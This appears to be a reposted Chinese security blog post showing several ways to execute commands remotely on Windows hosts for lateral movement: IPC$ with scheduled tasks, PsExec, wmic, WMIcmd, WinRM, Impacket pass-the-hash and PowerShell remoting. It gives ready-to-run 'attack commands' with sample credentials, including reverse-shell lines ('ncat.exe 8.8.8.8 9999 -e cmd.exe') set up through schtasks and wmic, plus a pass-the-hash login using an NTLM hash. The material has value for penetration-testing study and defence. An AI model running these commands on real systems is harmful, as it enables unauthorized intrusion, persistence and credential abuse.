介绍几种常用的远程执行windows命令的方法,这样可以避免直接使用RDP远程桌面。知识有限可能列的不全或者有错误的地方,欢迎指正。
IPC方式 | 445端口 |无回显
前提条件:
-
目标机器445端口可达
-
目标机器Server服务启用
-
目标机器IPC$等共享必须启用
攻击命令:
net use \192.168.220.172ipc$ "Aa123123" /user:itadmin
net use
dir \192.168.220.172c$
copy shell.bat \192.168.17.138c$
schtasks /create /S \192.168.220.172 /SC MINUTE /TN "每分钟执行shell.bat" /TR "ncat.exe 8.8.8.8 9999 -e cmd.exe" /RU zhangsan
计划任务创建成功:
接收端收到反弹shell:
PsExec64.exe方式 | 445端口 |有回显
PsTools
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools
PsTools 是一套由 Sysinternals(现在是微软的一部分)开发的免费命令行工具集,用于在 Windows 系统上进行管理和诊断。这些工具提供了许多功能,可以帮助系统管理员执行各种任务,如远程执行命令、查询系统信息、管理进程、查看事件日志等。工具集中包含非常多的小工具,PsExec64就是其中之一。
前提条件:
-
目标机器445端口可达
-
目标机器Server服务启用
-
目标机器IPC$等共享必须启用
攻击命令:
psexec.exe \目标ip -u 用户名 -p 密码 cmd命令
// 执行单个命令:ipconfig
PsExec64.exe /accepteula \192.168.220.172 -u NVYAOitadmin -p Aa123123 whoami
// 将cmd shell反弹回来
PsExec64.exe /accepteula \192.168.220.172 -u NVYAOitadmin -p Aa123123 cmd
回去看一下被攻击机器,会被安装一个服务:PSEXESVC
如果被控机上停止这个服务,反弹shell也就终止了:
如果控制端主动结束shell,被控端会卸载这个服务及对应的可执行文件,所以如果是通过上面第一种执行单条命令,这个服务会创建完命令执行后很快又卸载掉。
wmi方式 | 135端口 |无回显
前提条件:
-
目标机器135端口可达
-
目标机器RPC(Remote Procedure Call)服务启用
攻击命令1:
wmic /node:192.168.220.172 /user:itadmin /password:Aa123123 process call create "cmd.exe /c ipconfig"
攻击命令2,通过cmd.exe /c ipconfig>c:result.txt达到回显的目的:
wmic /node:192.168.220.172 /user:itadmin /password:Aa123123 process call create "cmd.exe /c ipconfig>c:result.txt"
当前也可以直接执行反弹shell:
wmic /node:192.168.220.172 /user:itadmin /password:Aa123123 process call create "ncat.exe 8.8.8.8 9999 -e cmd.exe"
WMIcmd方式 | 135端口 |有回显
wmic和WMIcmd 都是用于管理 Windows Management Instrumentation (WMI) 的工具,差异是:
-
wmic是Windows操作系统自带的工具,而 WMIcmd 是一个第三方工
-
wmic是windows系统自带会更加隐蔽
-
wmic执行命令无回显,WMIcmd功能更强大,例如有回显
前提条件:
-
目标机器445端口可达
-
目标机器Server服务启用
-
目标机器IPC$等共享必须启用
攻击命令:
WMIcmd.exe -h 192.168.220.172 -d nvyao.com -u itadmin -p Aa123123 -c "ipconfig"
可以看到命令执行有回显。
winrm方式 | 5985端口 |有回显
前提条件:
-
目标机器5985端口可达,5986为https协议,需解决证书
-
目标机器WinRM服务启用
启用winrm服务及配置:
//肉机上面快速启动winrm服务,并绑定到5985端口:
winrm enumerate winrm/config/listener
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
netstat -ano|find "5985"
攻击命令:
//客户端连接方式:
winrs -r:http://192.168.220.171:5985 -u:administrator -p:Aa123123 "whoami"
Impacket hash传递方式 |445端口 |有回显
Impacket 是一个开源的 Python 库,提供了一组用于网络协议分析和渗透测试的工具。它是由 SecureAuth Corporation 开发的,用于简化和自动化与 Windows 网络通信相关的任务。
Impacket 提供了许多功能和工具,用于与 Windows 网络进行交互和执行各种操作。
前提条件:
-
目标机器SMB 445端口可达
-
准备python3和Impacket工具套件
攻击命令:
1)先得获取登录账户的hash,可以通过mimikatz或者其他工具
2)hash传递登录执行命令
⚠️-hashes 后面有个空格
python wmiexec.py -hashes :7c78aa82a819041fa603b1b181399e58 administrator@192.168.220.171 "whoami"
Windows Powershell远程执行方式 |445端口 |有回显
可以使用单个 PowerShell 命令在一台或数百台计算机上运行命令。Windows PowerShell 支持使用各种技术(包括 WMI、RPC 和 WS-Management)进行远程计算。
前提条件:
-
目标机器SMB 445端口可达
-
有管理员权限
攻击命令:
// 1.运行单条命令
Invoke-Command -ComputerName Server01, Server02 -ScriptBlock { ifconfig }
// 2.运行脚本程序
Invoke-Command -ComputerName Server01, Server02 -FilePath c:ScriptsDiskCollect.ps1
// 3.启动交互式会话
Enter-PSSession Server01
1.运行单条命令:
2.启动交互式会话:
在上述命令中,没有显式提供帐号密码是因为该命令默认使用当前用户的凭据来进行身份验证。如果当前用户是在本地计算机上拥有管理员权限的帐户,并且与远程计算机具有相同的凭据(用户名和密码),则可以成功执行远程命令。
最后总结下Windows几种远程通信和管理服务的关系
SMB、WinRM、WMI 和 RPC 是 Windows 中常见的远程通信和管理服务,它们之间有不同的关系和用途。
1)SMB (Server Message Block):
-
SMB 是一种网络协议,用于在计算机之间共享文件、打印机和其他资源。
-
SMB 主要用于文件共享和网络访问功能,可以在局域网或广域网上进行通信。
-
它提供了用于远程访问和管理共享资源的功能,例如通过文件共享执行远程文件操作。
2)WinRM (Windows Remote Management):
-
WinRM 是一种远程管理协议和服务,基于 Web Services for Management (WS-Management) 标准。
-
WinRM 提供了一种标准化的远程管理接口,允许通过网络管理 Windows 操作系统。
-
它使用 HTTP 或 HTTPS 协议进行通信,并支持基于 SOAP (Simple Object Access Protocol) 的远程操作。
-
WinRM 可以执行命令、获取系统信息、配置设置等。
3)WMI (Windows Management Instrumentation):
-
WMI 是一种 Windows 的管理框架,用于管理本地和远程计算机上的系统信息和资源。
-
WMI 提供了一组编程接口和工具,允许开发人员和管理员查询和操作 Windows 系统。
-
它使用 CIM (Common Information Model) 标准来描述和管理系统资源,如进程、服务、事件日志等。
-
WMI 可以通过本地或远程方式执行查询、执行方法、获取系统信息等操作。
4)RPC (Remote Procedure Call):
-
RPC 是一种通信协议和框架,用于在网络上进行远程过程调用。
-
它允许在不同计算机之间的应用程序之间进行通信和交互,就像本地调用一样。
-
Windows 使用 RPC 作为通信机制,用于各种远程管理和执行任务,例如远程注册表操作、服务管理等。
-
SMB、WinRM 和 WMI 也使用 RPC 作为底层的通信机制,以便在网络上进行远程操作和管理。
虽然它们之间有一些重叠的功能和关系,但它们的主要区别在于用途和应用场景。SMB 主要用于文件共享和网络访问,WinRM 是一种远程管理协议,WMI 提供了系统管理和查询接口,而 RPC 是一种通信协议和框架,用于实现远程过程调用。这些服务可以相互配合使用,以实现不同的远程管理和操作需求。
原文始发于微信公众号(安全随笔):远程执行windows命令的几种姿势
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论